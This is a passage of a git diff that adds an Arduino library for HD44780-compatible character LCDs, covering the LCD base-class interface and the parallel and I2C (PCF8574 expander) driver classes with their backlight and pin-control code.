@abstract Hides the LCD cursor. + + @param none + */ + void noCursor(); + + /*! + @function + @abstract Display the LCD cursor. + @discussion Display the LCD cursor: an underscore (line) at the location + where the next character will be written. + + @param none + */ + void cursor(); + + /*! + @function + @abstract Scrolls the contents of the display (text and cursor) one space + to the left. + + @param none + */ + void scrollDisplayLeft(); + + /*! + @function + @abstract Scrolls the contents of the display (text and cursor) one space + to the right. + + @param none + */ + void scrollDisplayRight(); + + /*! + @function + @abstract Set the direction for text written to the LCD to left-to-right. + @discussion Set the direction for text written to the LCD to left-to-right. + All subsequent characters written to the display will go from left to right, + but does not affect previously-output text. + + This is the default configuration. + + @param none + */ + void leftToRight(); + + /*! + @function + @abstract Set the direction for text written to the LCD to right-to-left. + @discussion Set the direction for text written to the LCD to right-to-left. + All subsequent characters written to the display will go from right to left, + but does not affect previously-output text. + + left-to-right is the default configuration. + + @param none + */ + void rightToLeft(); + + /*! + @function + @abstract Moves the cursor one space to the left. + @discussion + @param none + */ + void moveCursorLeft(); + + + /*! + @function + @abstract Moves the cursor one space to the right. + + @param none + */ + void moveCursorRight(); + + /*! + @function + @abstract Turns on automatic scrolling of the LCD. + @discussion Turns on automatic scrolling of the LCD. This causes each + character output to the display to push previous characters over by one + space. If the current text direction is left-to-right (the default), + the display scrolls to the left; if the current direction is right-to-left, + the display scrolls to the right. + This has the effect of outputting each new character to the same location on + the LCD. + + @param none + */ + void autoscroll(); + + /*! + @function + @abstract Turns off automatic scrolling of the LCD. + @discussion Turns off automatic scrolling of the LCD, this is the default + configuration of the LCD. + + @param none + */ + void noAutoscroll(); + + /*! + @function + @abstract Creates a custom character for use on the LCD. + @discussion Create a custom character (glyph) for use on the LCD. + Most chipsets only support up to eight characters of 5x8 pixels. Therefore, + this methods has been limited to locations (numbered 0 to 7). + + The appearance of each custom character is specified by an array of eight + bytes, one for each row. The five least significant bits of each byte + determine the pixels in that row. To display a custom character on screen, + write()/print() its number, i.e. lcd.print (char(x)); // Where x is 0..7. + + @param location[in] LCD memory location of the character to create + (0 to 7) + @param charmap[in] the bitmap array representing each row of the character. + */ + void createChar(uint8_t location, uint8_t charmap[]); + + /*! + @function + @abstract Position the LCD cursor. + @discussion Sets the position of the LCD cursor. Set the location at which + subsequent text written to the LCD will be displayed. + + @param col[in] LCD column + @param row[in] LCD row - line. + */ + void setCursor(uint8_t col, uint8_t row); + + /*! + @function + @abstract Switch-on the LCD backlight. + @discussion Switch-on the LCD backlight. + The setBacklightPin has to be called before setting the backlight for + this method to work. @see setBacklightPin. + */ + void backlight ( void ); + + /*! + @function + @abstract Switch-off the LCD backlight. + @discussion Switch-off the LCD backlight. + The setBacklightPin has to be called before setting the backlight for + this method to work. @see setBacklightPin. + */ + void noBacklight ( void ); + + /*! + @function + @abstract Switch on the LCD module. + @discussion Switch on the LCD module, it will switch on the LCD controller + and the backlight. This method has the same effect of calling display and + backlight. @see display, @see backlight + */ + void on ( void ); + + /*! + @function + @abstract Switch off the LCD module. + @discussion Switch off the LCD module, it will switch off the LCD controller + and the backlight. This method has the same effect of calling noDisplay and + noBacklight. @see display, @see backlight + */ + void off ( void ); + + // + // virtual class methods + // -------------------------------------------------------------------------- + /*! + @function + @abstract Sets the pin to control the backlight. + @discussion Sets the pin in the device to control the backlight. + This method is device dependent and can be programmed on each subclass. An + empty function call is provided that does nothing. + + @param value: pin associated to backlight control. + @param pol: backlight polarity control (POSITIVE, NEGATIVE) + */ + virtual void setBacklightPin ( uint8_t value, t_backlighPol pol ) { }; + + /*! + @function + @abstract Sets the pin to control the backlight. + @discussion Sets the pin in the device to control the backlight. The behaviour + of this method is very dependent on the device. Some controllers support + dimming some don't. Please read the actual header file for each individual + device. The setBacklightPin method has to be called before setting the backlight + or the adequate backlight control constructor. + @see setBacklightPin. + + NOTE: The prefered methods to control the backlight are "backlight" and + "noBacklight". + + @param 0..255 - the value is very dependent on the LCD. However, + BACKLIGHT_OFF will be interpreted as off and BACKLIGHT_ON will drive the + backlight on. + */ + virtual void setBacklight ( uint8_t value ) { }; + + /*! + @function + @abstract Writes to the LCD. + @discussion This method writes character to the LCD in the current cursor + position. + + This is the virtual write method, implemented in the Print class, therefore + all Print class methods will end up calling this method. + + @param value[in] Value to write to the LCD. + */ +#if (ARDUINO < 100) + virtual void write(uint8_t value); +#else + virtual size_t write(uint8_t value); +#endif + +#if (ARDUINO < 100) + using Print::write; +#else + using Print::write; +#endif + +protected: + // Internal LCD variables to control the LCD shared between all derived + // classes. + uint8_t _displayfunction; // LCD_5x10DOTS or LCD_5x8DOTS, LCD_4BITMODE or + // LCD_8BITMODE, LCD_1LINE or LCD_2LINE + uint8_t _displaycontrol; // LCD base control command LCD on/off, blink, cursor + // all commands are "ored" to its contents. + uint8_t _displaymode; // Text entry mode to the LCD + uint8_t _numlines; // Number of lines of the LCD, initialized with begin() + uint8_t _cols; // Number of columns in the LCD + t_backlighPol _polarity; // Backlight polarity + +private: + /*! + @function + @abstract Send a command to the LCD. + @discussion This method sends a command to the LCD by setting the Register + select line of the LCD. + + This command shouldn't be used to drive the LCD, only to implement any other + feature that is not available on this library. + + @param value[in] Command value to send to the LCD (COMMAND, DATA or + FOUR_BITS). + */ + void command(uint8_t value); + + /*! + @function + @abstract Send a particular value to the LCD. + @discussion Sends a particular value to the LCD. This is a pure abstract + method, therefore, it is implementation dependent of each derived class how + to physically write to the LCD. + + Users should never call this method. + + @param value[in] Value to send to the LCD. + @result mode LOW - write to the LCD CGRAM, HIGH - write a command to + the LCD. + */ +#if (ARDUINO < 100) + virtual void send(uint8_t value, uint8_t mode) { }; +#else + virtual void send(uint8_t value, uint8_t mode) = 0; +#endif + +}; + +#endif diff --git a/libraries/LiquidCrystal/LiquidCrystal.cpp b/libraries/LiquidCrystal/LiquidCrystal.cpp new file mode 100644 index 0000000..2c2cae1 --- /dev/null +++ b/libraries/LiquidCrystal/LiquidCrystal.cpp @@ -0,0 +1,299 @@ +// --------------------------------------------------------------------------- +// Created by Francisco Malpartida on 20/08/11. +// Copyright 2011 - Under creative commons license 3.0: +// Attribution-ShareAlike CC BY-SA +// +// This software is furnished "as is", without technical support, and with no +// warranty, express or implied, as to its usefulness for any purpose. +// +// Thread Safe: No +// Extendable: Yes +// +// @file LiquidCrystal.cpp +// This file implements a basic liquid crystal library that comes as standard +// in the Arduino SDK. +// +// @brief +// This is a basic implementation of the LiquidCrystal library of the +// Arduino SDK. The original library has been reworked in such a way that +// this class implements the all methods to command an LCD based +// on the Hitachi HD44780 and compatible chipsets using the parallel port of +// the LCD (4 bit and 8 bit). +// +// The functionality provided by this class and its base class is identical +// to the original functionality of the Arduino LiquidCrystal library. +// +// +// @author F. Malpartida - fmalpartida@gmail.com +// --------------------------------------------------------------------------- +#include +#include +#include + +#if (ARDUINO < 100) +#include +#else +#include +#endif +#include "LiquidCrystal.h" + +// CONSTANT definitions +// --------------------------------------------------------------------------- +#define LCD_NOBACKLIGHT 0xFF + +// LCD driver configuration (4bit or 8bit driver control) +#define LCD_4BIT 1 +#define LCD_8BIT 0 + +// STATIC helper functions +// --------------------------------------------------------------------------- + + +// CONSTRUCTORS +// --------------------------------------------------------------------------- + +LiquidCrystal::LiquidCrystal(uint8_t rs, uint8_t enable, + uint8_t d0, uint8_t d1, uint8_t d2, uint8_t d3, + uint8_t d4, uint8_t d5, uint8_t d6, uint8_t d7) +{ + init(LCD_8BIT, rs, 255, enable, d0, d1, d2, d3, d4, d5, d6, d7); +} + +LiquidCrystal::LiquidCrystal(uint8_t rs, uint8_t rw, uint8_t enable, + uint8_t d0, uint8_t d1, uint8_t d2, uint8_t d3, + uint8_t d4, uint8_t d5, uint8_t d6, uint8_t d7) +{ + init(LCD_8BIT, rs, rw, enable, d0, d1, d2, d3, d4, d5, d6, d7); +} + +LiquidCrystal::LiquidCrystal(uint8_t rs, uint8_t rw, uint8_t enable, + uint8_t d0, uint8_t d1, uint8_t d2, uint8_t d3) +{ + init(LCD_4BIT, rs, rw, enable, d0, d1, d2, d3, 0, 0, 0, 0); +} + +LiquidCrystal::LiquidCrystal(uint8_t rs, uint8_t enable, + uint8_t d0, uint8_t d1, uint8_t d2, uint8_t d3) +{ + init(LCD_4BIT, rs, 255, enable, d0, d1, d2, d3, 0, 0, 0, 0); +} + +// Contructors with backlight control +LiquidCrystal::LiquidCrystal(uint8_t rs, uint8_t enable, + uint8_t d0, uint8_t d1, uint8_t d2, uint8_t d3, + uint8_t d4, uint8_t d5, uint8_t d6, uint8_t d7, + uint8_t backlightPin, t_backlighPol pol) +{ + init(LCD_8BIT, rs, 255, enable, d0, d1, d2, d3, d4, d5, d6, d7); + setBacklightPin ( backlightPin, pol ); +} + +LiquidCrystal::LiquidCrystal(uint8_t rs, uint8_t rw, uint8_t enable, + uint8_t d0, uint8_t d1, uint8_t d2, uint8_t d3, + uint8_t d4, uint8_t d5, uint8_t d6, uint8_t d7, + uint8_t backlightPin, t_backlighPol pol) +{ + init(LCD_8BIT, rs, rw, enable, d0, d1, d2, d3, d4, d5, d6, d7); + setBacklightPin ( backlightPin, pol ); +} + +LiquidCrystal::LiquidCrystal(uint8_t rs, uint8_t rw, uint8_t enable, + uint8_t d0, uint8_t d1, uint8_t d2, uint8_t d3, + uint8_t backlightPin, t_backlighPol pol) +{ + init(LCD_4BIT, rs, rw, enable, d0, d1, d2, d3, 0, 0, 0, 0); + setBacklightPin ( backlightPin, pol ); +} + +LiquidCrystal::LiquidCrystal(uint8_t rs, uint8_t enable, + uint8_t d0, uint8_t d1, uint8_t d2, uint8_t d3, + uint8_t backlightPin, t_backlighPol pol) +{ + init(LCD_4BIT, rs, 255, enable, d0, d1, d2, d3, 0, 0, 0, 0); + setBacklightPin ( backlightPin, pol ); +} + +// PUBLIC METHODS +// --------------------------------------------------------------------------- + +/************ low level data pushing commands **********/ +// +// send +void LiquidCrystal::send(uint8_t value, uint8_t mode) +{ + // Only interested in COMMAND or DATA + digitalWrite( _rs_pin, ( mode == DATA ) ); + + // if there is a RW pin indicated, set it low to Write + // --------------------------------------------------- + if (_rw_pin != 255) + { + digitalWrite(_rw_pin, LOW); + } + + if ( mode != FOUR_BITS ) + { + if ( (_displayfunction & LCD_8BITMODE ) ) + { + writeNbits(value, 8); + } + else + { + writeNbits ( value >> 4, 4 ); + writeNbits ( value, 4 ); + } + } + else + { + writeNbits ( value, 4 ); + } + waitUsec ( EXEC_TIME ); // wait for the command to execute by the LCD +} + +// +// setBacklightPin +void LiquidCrystal::setBacklightPin ( uint8_t pin, t_backlighPol pol ) +{ + pinMode ( pin, OUTPUT ); // Difine the backlight pin as output + _backlightPin = pin; + _polarity = pol; + setBacklight(BACKLIGHT_OFF); // Set the backlight low by default +} + +// +// setBackligh +void LiquidCrystal::setBacklight ( uint8_t value ) +{ + // Check if there is a pin assigned to the backlight + // --------------------------------------------------- + if ( _backlightPin != LCD_NOBACKLIGHT ) + { + // Check if the pin is associated to a timer, i.e. PWM + // --------------------------------------------------- + if(digitalPinToTimer(_backlightPin) != NOT_ON_TIMER) + { + // Check for control polarity inversion + // --------------------------------------------------- + if ( _polarity == POSITIVE ) + { + analogWrite ( _backlightPin, value ); + } + else + { + analogWrite ( _backlightPin, 255 - value ); + } + } + // Not a PWM pin, set the backlight pin for POSI or NEG + // polarity + // -------------------------------------------------------- + else if (((value > 0) && (_polarity == POSITIVE)) || + ((value == 0) && (_polarity == NEGATIVE))) + { + digitalWrite( _backlightPin, HIGH); + } + else + { + digitalWrite( _backlightPin, LOW); + } + } +} + +// PRIVATE METHODS +// --------------------------------------------------------------------------- + + +// init +void LiquidCrystal::init(uint8_t fourbitmode, uint8_t rs, uint8_t rw, uint8_t enable, + uint8_t d0, uint8_t d1, uint8_t d2, uint8_t d3, + uint8_t d4, uint8_t d5, uint8_t d6, uint8_t d7) +{ + uint8_t i; + + // Initialize the IO pins + // ----------------------- + + _rs_pin = rs; + _rw_pin = rw; + _enable_pin = enable; + + _data_pins[0] = d0; + _data_pins[1] = d1; + _data_pins[2] = d2; + _data_pins[3] = d3; + _data_pins[4] = d4; + _data_pins[5] = d5; + _data_pins[6] = d6; + _data_pins[7] = d7; + + // Initialize the IO port direction to OUTPUT + // ------------------------------------------ + + for ( i = 0; i < 4; i++ ) + { + pinMode ( _data_pins[i], OUTPUT ); + } + + // Initialize the rest of the ports if it is an 8bit controlled LCD + // ---------------------------------------------------------------- + + if ( !fourbitmode ) + { + for ( i = 4; i < 8; i++ ) + { + pinMode ( _data_pins[i], OUTPUT ); + } + } + pinMode(_rs_pin, OUTPUT); + + // we can save 1 pin by not using RW. Indicate by passing 255 instead of pin# + if (_rw_pin != 255) + { + pinMode(_rw_pin, OUTPUT); + } + + pinMode(_enable_pin, OUTPUT); + + // Initialise displaymode functions to defaults: LCD_1LINE and LCD_5x8DOTS + // ------------------------------------------------------------------------- + if (fourbitmode) + _displayfunction = LCD_4BITMODE | LCD_1LINE | LCD_5x8DOTS; + else + _displayfunction = LCD_8BITMODE | LCD_1LINE | LCD_5x8DOTS; + + // Now we pull both RS and R/W low to begin commands + digitalWrite(_rs_pin, LOW); + digitalWrite(_enable_pin, LOW); + + if (_rw_pin != 255) + { + digitalWrite(_rw_pin, LOW); + } + + // Initialise the backlight pin no nothing + _backlightPin = LCD_NOBACKLIGHT; + _polarity = POSITIVE; +} + +// +// pulseEnable +void LiquidCrystal::pulseEnable(void) +{ + // There is no need for the delays, since the digitalWrite operation + // takes longer. + digitalWrite(_enable_pin, HIGH); + waitUsec(1); // enable pulse must be > 450ns + digitalWrite(_enable_pin, LOW); +} + +// +// write4bits +void LiquidCrystal::writeNbits(uint8_t value, uint8_t numBits) +{ + for (uint8_t i = 0; i < numBits; i++) + { + digitalWrite(_data_pins[i], (value >> i) & 0x01); + } + pulseEnable(); +} + + diff --git a/libraries/LiquidCrystal/LiquidCrystal.h b/libraries/LiquidCrystal/LiquidCrystal.h new file mode 100644 index 0000000..e2114dc --- /dev/null +++ b/libraries/LiquidCrystal/LiquidCrystal.h @@ -0,0 +1,161 @@ +// --------------------------------------------------------------------------- +// Created by Francisco Malpartida on 20/08/11. +// Copyright 2011 - Under creative commons license 3.0: +// Attribution-ShareAlike CC BY-SA +// +// This software is furnished "as is", without technical support, and with no +// warranty, express or implied, as to its usefulness for any purpose. +// +// Thread Safe: No +// Extendable: Yes +// +// @file LiquidCrystal.h +// This file implements a basic liquid crystal library that comes as standard +// in the Arduino SDK. +// +// @brief +// This is a basic implementation of the LiquidCrystal library of the +// Arduino SDK. The original library has been reworked in such a way that +// this class implements the all methods to command an LCD based +// on the Hitachi HD44780 and compatible chipsets using the parallel port of +// the LCD (4 bit and 8 bit). +// +// +// +// @author F. Malpartida - fmalpartida@gmail.com +// --------------------------------------------------------------------------- +#ifndef LiquidCrystal_4bit_h +#define LiquidCrystal_4bit_h + +#include + +#include "LCD.h" +#include "FastIO.h" + + +/*! + @defined + @abstract Command execution time on the LCD. + @discussion This defines how long a command takes to execute by the LCD. + The time is expressed in micro-seconds. + */ +#define EXEC_TIME 37 + +class LiquidCrystal : public LCD +{ +public: + /*! + @method + @abstract 8 bit LCD constructors. + @discussion Defines the pin assignment that the LCD will have. + The constructor does not initialize the LCD. + */ + LiquidCrystal(uint8_t rs, uint8_t enable, + uint8_t d0, uint8_t d1, uint8_t d2, uint8_t d3, + uint8_t d4, uint8_t d5, uint8_t d6, uint8_t d7); + LiquidCrystal(uint8_t rs, uint8_t rw, uint8_t enable, + uint8_t d0, uint8_t d1, uint8_t d2, uint8_t d3, + uint8_t d4, uint8_t d5, uint8_t d6, uint8_t d7); + + // Constructors with backlight control + LiquidCrystal(uint8_t rs, uint8_t enable, + uint8_t d0, uint8_t d1, uint8_t d2, uint8_t d3, + uint8_t d4, uint8_t d5, uint8_t d6, uint8_t d7, + uint8_t backlightPin, t_backlighPol pol); + LiquidCrystal(uint8_t rs, uint8_t rw, uint8_t enable, + uint8_t d0, uint8_t d1, uint8_t d2, uint8_t d3, + uint8_t d4, uint8_t d5, uint8_t d6, uint8_t d7, + uint8_t backlightPin, t_backlighPol pol); + /*! + @method + @abstract 4 bit LCD constructors. + @discussion Defines the pin assignment that the LCD will have. + The constructor does not initialize the LCD. + */ + LiquidCrystal(uint8_t rs, uint8_t rw, uint8_t enable, + uint8_t d0, uint8_t d1, uint8_t d2, uint8_t d3); + LiquidCrystal(uint8_t rs, uint8_t enable, + uint8_t d0, uint8_t d1, uint8_t d2, uint8_t d3); + + // Constructors with backlight control + LiquidCrystal(uint8_t rs, uint8_t rw, uint8_t enable, + uint8_t d0, uint8_t d1, uint8_t d2, uint8_t d3, + uint8_t backlightPin, t_backlighPol pol); + LiquidCrystal(uint8_t rs, uint8_t enable, + uint8_t d0, uint8_t d1, uint8_t d2, uint8_t d3, + uint8_t backlightPin, t_backlighPol pol); + /*! + @function + @abstract Send a particular value to the LCD. + @discussion Sends a particular value to the LCD for writing to the LCD or + as an LCD command. + + Users should never call this method. + + @param value Value to send to the LCD. + @result mode LOW - write to the LCD CGRAM, HIGH - write a command to + the LCD. + */ + virtual void send(uint8_t value, uint8_t mode); + + /*! + @function + @abstract Sets the pin to control the backlight. + @discussion Sets the pin in the device to control the backlight. + + @param pin: pin assigned to the backlight + @param pol: backlight pin control polarity (POSITIVE, NEGATIVE). + */ + void setBacklightPin ( uint8_t pin, t_backlighPol pol ); + + /*! + @function + @abstract Switch-on/off the LCD backlight. + @discussion Switch-on/off the LCD backlight. + The setBacklightPin has to be called before setting the backlight for + this method to work. @see setBacklightPin. For dimming control of the + backlight, the configuration pin must be a PWM output pin. Dim control + is achieved by passing a value from 1 to 255 as a parameter. If the + pin configured when calling the setBacklightPin does not support PWM, + then: (0) backlight off, (1..255) backlight on. + + @param value: backlight value. 0: off, 1..255: dim control of the + backlight. For negative logic 255: off, 254..0: dim control. + */ + void setBacklight ( uint8_t value ); + +private: + + /*! + @method + @abstract Initializes the LCD pin allocation and associated HW + @discussion Initializes the LCD pin allocation and configuration. + */ + void init(uint8_t fourbitmode, uint8_t rs, uint8_t rw, uint8_t enable, + uint8_t d0, uint8_t d1, uint8_t d2, uint8_t d3, + uint8_t d4, uint8_t d5, uint8_t d6, uint8_t d7); + + /*! + @method + @abstract Writes numBits bits from value value to the LCD. + @discussion Writes numBists bits (the least significant) to the LCD control + data lines. + */ + void writeNbits(uint8_t value, uint8_t numBits); + + /*! + @method + @abstract Pulse the LCD enable line (En). + @discussion Sends a pulse of 1 uS to the Enable pin to execute an command + or write operation. + */ + void pulseEnable(); + + uint8_t _rs_pin; // LOW: command. HIGH: character. + uint8_t _rw_pin; // LOW: write to LCD. HIGH: read from LCD. + uint8_t _enable_pin; // activated by a HIGH pulse. + uint8_t _data_pins[8]; // Data pins. + uint8_t _backlightPin; // Pin associated to control the LCD backlight +}; + +#endif diff --git a/libraries/LiquidCrystal/LiquidCrystal_I2C.cpp b/libraries/LiquidCrystal/LiquidCrystal_I2C.cpp new file mode 100644 index 0000000..8f1ce77 --- /dev/null +++ b/libraries/LiquidCrystal/LiquidCrystal_I2C.cpp @@ -0,0 +1,291 @@ +// --------------------------------------------------------------------------- +// Created by Francisco Malpartida on 20/08/11. +// Copyright 2011 - Under creative commons license 3.0: +// Attribution-ShareAlike CC BY-SA +// +// This software is furnished "as is", without technical support, and with no +// warranty, express or implied, as to its usefulness for any purpose. +// +// Thread Safe: No +// Extendable: Yes +// +// @file LiquidCrystal_I2C.c +// This file implements a basic liquid crystal library that comes as standard +// in the Arduino SDK but using an I2C IO extension board. +// +// @brief +// This is a basic implementation of the LiquidCrystal library of the +// Arduino SDK. The original library has been reworked in such a way that +// this class implements the all methods to command an LCD based +// on the Hitachi HD44780 and compatible chipsets using I2C extension +// backpacks such as the I2CLCDextraIO with the PCF8574* I2C IO Expander ASIC. +// +// The functionality provided by this class and its base class is identical +// to the original functionality of the Arduino LiquidCrystal library. +// +// +// +// @author F. Malpartida - fmalpartida@gmail.com +// --------------------------------------------------------------------------- +#if (ARDUINO < 100) +#include +#else +#include +#endif +#include +#include "I2CIO.h" +#include "LiquidCrystal_I2C.h" + +// CONSTANT definitions +// --------------------------------------------------------------------------- + +// flags for backlight control +/*! + @defined + @abstract LCD_NOBACKLIGHT + @discussion NO BACKLIGHT MASK + */ +#define LCD_NOBACKLIGHT 0x00 + +/*! + @defined + @abstract LCD_BACKLIGHT + @discussion BACKLIGHT MASK used when backlight is on + */ +#define LCD_BACKLIGHT 0xFF + + +// Default library configuration parameters used by class constructor with +// only the I2C address field. +// --------------------------------------------------------------------------- +/*! + @defined + @abstract Enable bit of the LCD + @discussion Defines the IO of the expander connected to the LCD Enable + */ +#define EN 6 // Enable bit + +/*! + @defined + @abstract Read/Write bit of the LCD + @discussion Defines the IO of the expander connected to the LCD Rw pin + */ +#define RW 5 // Read/Write bit + +/*! + @defined + @abstract Register bit of the LCD + @discussion Defines the IO of the expander connected to the LCD Register select pin + */ +#define RS 4 // Register select bit + +/*! + @defined + @abstract LCD dataline allocation this library only supports 4 bit LCD control + mode. + @discussion D4, D5, D6, D7 LCD data lines pin mapping of the extender module + */ +#define D4 0 +#define D5 1 +#define D6 2 +#define D7 3 + + +// CONSTRUCTORS +// --------------------------------------------------------------------------- +LiquidCrystal_I2C::LiquidCrystal_I2C( uint8_t lcd_Addr ) +{ + config(lcd_Addr, EN, RW, RS, D4, D5, D6, D7); +} + + +LiquidCrystal_I2C::LiquidCrystal_I2C(uint8_t lcd_Addr, uint8_t backlighPin, + t_backlighPol pol = POSITIVE) +{ + config(lcd_Addr, EN, RW, RS, D4, D5, D6, D7); + setBacklightPin(backlighPin, pol); +} + +LiquidCrystal_I2C::LiquidCrystal_I2C(uint8_t lcd_Addr, uint8_t En, uint8_t Rw, + uint8_t Rs) +{ + config(lcd_Addr, En, Rw, Rs, D4, D5, D6, D7); +} + +LiquidCrystal_I2C::LiquidCrystal_I2C(uint8_t lcd_Addr, uint8_t En, uint8_t Rw, + uint8_t Rs, uint8_t backlighPin, + t_backlighPol pol = POSITIVE) +{ + config(lcd_Addr, En, Rw, Rs, D4, D5, D6, D7); + setBacklightPin(backlighPin, pol); +} + +LiquidCrystal_I2C::LiquidCrystal_I2C(uint8_t lcd_Addr, uint8_t En, uint8_t Rw, + uint8_t Rs, uint8_t d4, uint8_t d5, + uint8_t d6, uint8_t d7 ) +{ + config(lcd_Addr, En, Rw, Rs, d4, d5, d6, d7); +} + +LiquidCrystal_I2C::LiquidCrystal_I2C(uint8_t lcd_Addr, uint8_t En, uint8_t Rw, + uint8_t Rs, uint8_t d4, uint8_t d5, + uint8_t d6, uint8_t d7, uint8_t backlighPin, + t_backlighPol pol = POSITIVE ) +{ + config(lcd_Addr, En, Rw, Rs, d4, d5, d6, d7); + setBacklightPin(backlighPin, pol); +} + +// PUBLIC METHODS +// --------------------------------------------------------------------------- + +// +// begin +void LiquidCrystal_I2C::begin(uint8_t cols, uint8_t lines, uint8_t dotsize) +{ + + init(); // Initialise the I2C expander interface + LCD::begin ( cols, lines, dotsize ); +} + + +// User commands - users can expand this section +//---------------------------------------------------------------------------- +// Turn the (optional) backlight off/on + +// +// setBacklightPin +void LiquidCrystal_I2C::setBacklightPin ( uint8_t value, t_backlighPol pol = POSITIVE ) +{ + _backlightPinMask = ( 1 << value ); + _polarity = pol; + setBacklight(BACKLIGHT_OFF); +} + +// +// setBacklight +void LiquidCrystal_I2C::setBacklight( uint8_t value ) +{ + // Check if backlight is available + // ---------------------------------------------------- + if ( _backlightPinMask != 0x0 ) + { + // Check for polarity to configure mask accordingly + // ---------------------------------------------------------- + if (((_polarity == POSITIVE) && (value > 0)) || + ((_polarity == NEGATIVE ) && ( value == 0 ))) + { + _backlightStsMask = _backlightPinMask & LCD_BACKLIGHT; + } + else + { + _backlightStsMask = _backlightPinMask & LCD_NOBACKLIGHT; + } + _i2cio.write( _backlightStsMask ); + } +} + + +// PRIVATE METHODS +// --------------------------------------------------------------------------- + +// +// init +int LiquidCrystal_I2C::init() +{ + int status = 0; + + // initialize the backpack IO expander + // and display functions. + // ------------------------------------------------------------------------ + if ( _i2cio.begin ( _Addr ) == 1 ) + { + _i2cio.portMode ( OUTPUT ); // Set the entire IO extender to OUTPUT + _displayfunction = LCD_4BITMODE | LCD_1LINE | LCD_5x8DOTS; + status = 1; + _i2cio.write(0); // Set the entire port to LOW + } + return ( status ); +} + +// +// config +void LiquidCrystal_I2C::config (uint8_t lcd_Addr, uint8_t En, uint8_t Rw, uint8_t Rs, + uint8_t d4, uint8_t d5, uint8_t d6, uint8_t d7 ) +{ + _Addr = lcd_Addr; + + _backlightPinMask = 0; + _backlightStsMask = LCD_NOBACKLIGHT; + _polarity = POSITIVE; + + _En = ( 1 << En ); + _Rw = ( 1 << Rw ); + _Rs = ( 1 << Rs ); + + // Initialise pin mapping + _data_pins[0] = ( 1 << d4 ); + _data_pins[1] = ( 1 << d5 ); + _data_pins[2] = ( 1 << d6 ); + _data_pins[3] = ( 1 << d7 ); +} + + + +// low level data pushing commands +//---------------------------------------------------------------------------- + +// +// send - write either command or data +void LiquidCrystal_I2C::send(uint8_t value, uint8_t mode) +{ + // No need to use the delay routines since the time taken to write takes + // longer that what is needed both for toggling and enable pin an to execute + // the command. + + if ( mode == FOUR_BITS ) + { + write4bits( (value & 0x0F), COMMAND ); + } + else + { + write4bits( (value >> 4), mode ); + write4bits( (value & 0x0F), mode); + } +} + +// +// write4bits +void LiquidCrystal_I2C::write4bits ( uint8_t value, uint8_t mode ) +{ + uint8_t pinMapValue = 0; + + // Map the value to LCD pin mapping + // -------------------------------- + for ( uint8_t i = 0; i < 4; i++ ) + { + if ( ( value & 0x1 ) == 1 ) + { + pinMapValue |= _data_pins[i]; + } + value = ( value >> 1 ); + } + + // Is it a command or data + // ----------------------- + if ( mode == DATA ) + { + mode = _Rs; + } + + pinMapValue |= mode | _backlightStsMask; + pulseEnable ( pinMapValue ); +} + +// +// pulseEnable +void LiquidCrystal_I2C::pulseEnable (uint8_t data) +{ + _i2cio.write (data | _En); // En HIGH + _i2cio.write (data & ~_En); // En LOW +} \ No newline at end of file diff --git a/libraries/LiquidCrystal/LiquidCrystal_I2C.h b/libraries/LiquidCrystal/LiquidCrystal_I2C.h new file mode 100644 index 0000000..ea6d87f --- /dev/null +++ b/libraries/LiquidCrystal/LiquidCrystal_I2C.h @@ -0,0 +1,204 @@ +// --------------------------------------------------------------------------- +// Created by Francisco Malpartida on 20/08/11. +// Copyright 2011 - Under creative commons license 3.0: +// Attribution-ShareAlike CC BY-SA +// +// This software is furnished "as is", without technical support, and with no +// warranty, express or implied, as to its usefulness for any purpose. +// +// Thread Safe: No +// Extendable: Yes +// +// @file LiquidCrystal_I2C.h +// This file implements a basic liquid crystal library that comes as standard +// in the Arduino SDK but using an I2C IO extension board. +// +// @brief +// This is a basic implementation of the LiquidCrystal library of the +// Arduino SDK. The original library has been reworked in such a way that +// this class implements the all methods to command an LCD based +// on the Hitachi HD44780 and compatible chipsets using I2C extension +// backpacks such as the I2CLCDextraIO with the PCF8574* I2C IO Expander ASIC. +// +// The functionality provided by this class and its base class is identical +// to the original functionality of the Arduino LiquidCrystal library. +// +// +// @author F. Malpartida - fmalpartida@gmail.com +// --------------------------------------------------------------------------- +#ifndef LiquidCrystal_I2C_h +#define LiquidCrystal_I2C_h +#include +#include + +#include "I2CIO.h" +#include "LCD.h" + + +class LiquidCrystal_I2C : public LCD +{ +public: + + /*! + @method + @abstract Class constructor. + @discussion Initializes class variables and defines the I2C address of the + LCD. The constructor does not initialize the LCD. + + @param lcd_Addr[in] I2C address of the IO expansion module. For I2CLCDextraIO, + the address can be configured using the on board jumpers. + */ + LiquidCrystal_I2C (uint8_t lcd_Addr); + // Constructor with backlight control + LiquidCrystal_I2C (uint8_t lcd_Addr, uint8_t backlighPin, t_backlighPol pol); + + /*! + @method + @abstract Class constructor. + @discussion Initializes class variables and defines the I2C address of the + LCD. The constructor does not initialize the LCD. + + @param lcd_Addr[in] I2C address of the IO expansion module. For I2CLCDextraIO, + the address can be configured using the on board jumpers. + @param En[in] LCD En (Enable) pin connected to the IO extender module + @param Rw[in] LCD Rw (Read/write) pin connected to the IO extender module + @param Rs[in] LCD Rs (Reset) pin connected to the IO extender module + */ + LiquidCrystal_I2C( uint8_t lcd_Addr, uint8_t En, uint8_t Rw, uint8_t Rs); + // Constructor with backlight control + LiquidCrystal_I2C(uint8_t lcd_Addr, uint8_t En, uint8_t Rw, uint8_t Rs, + uint8_t backlighPin, t_backlighPol pol); + + /*! + @method + @abstract Class constructor. + @discussion Initializes class variables and defines the I2C address of the + LCD. The constructor does not initialize the LCD. + + @param lcd_Addr[in] I2C address of the IO expansion module. For I2CLCDextraIO, + the address can be configured using the on board jumpers. + @param En[in] LCD En (Enable) pin connected to the IO extender module + @param Rw[in] LCD Rw (Read/write) pin connected to the IO extender module + @param Rs[in] LCD Rs (Reset) pin connected to the IO extender module + @param d4[in] LCD data 0 pin map on IO extender module + @param d5[in] LCD data 1 pin map on IO extender module + @param d6[in] LCD data 2 pin map on IO extender module + @param d7[in] LCD data 3 pin map on IO extender module + */ + LiquidCrystal_I2C(uint8_t lcd_Addr, uint8_t En, uint8_t Rw, uint8_t Rs, + uint8_t d4, uint8_t d5, uint8_t d6, uint8_t d7 ); + // Constructor with backlight control + LiquidCrystal_I2C(uint8_t lcd_Addr, uint8_t En, uint8_t Rw, uint8_t Rs, + uint8_t d4, uint8_t d5, uint8_t d6, uint8_t d7, + uint8_t backlighPin, t_backlighPol pol); + /*! + @function + @abstract LCD initialization and associated HW. + @discussion Initializes the LCD to a given size (col, row). This methods + initializes the LCD, therefore, it MUST be called prior to using any other + method from this class or parent class. + + The begin method can be overloaded if necessary to initialize any HW that + 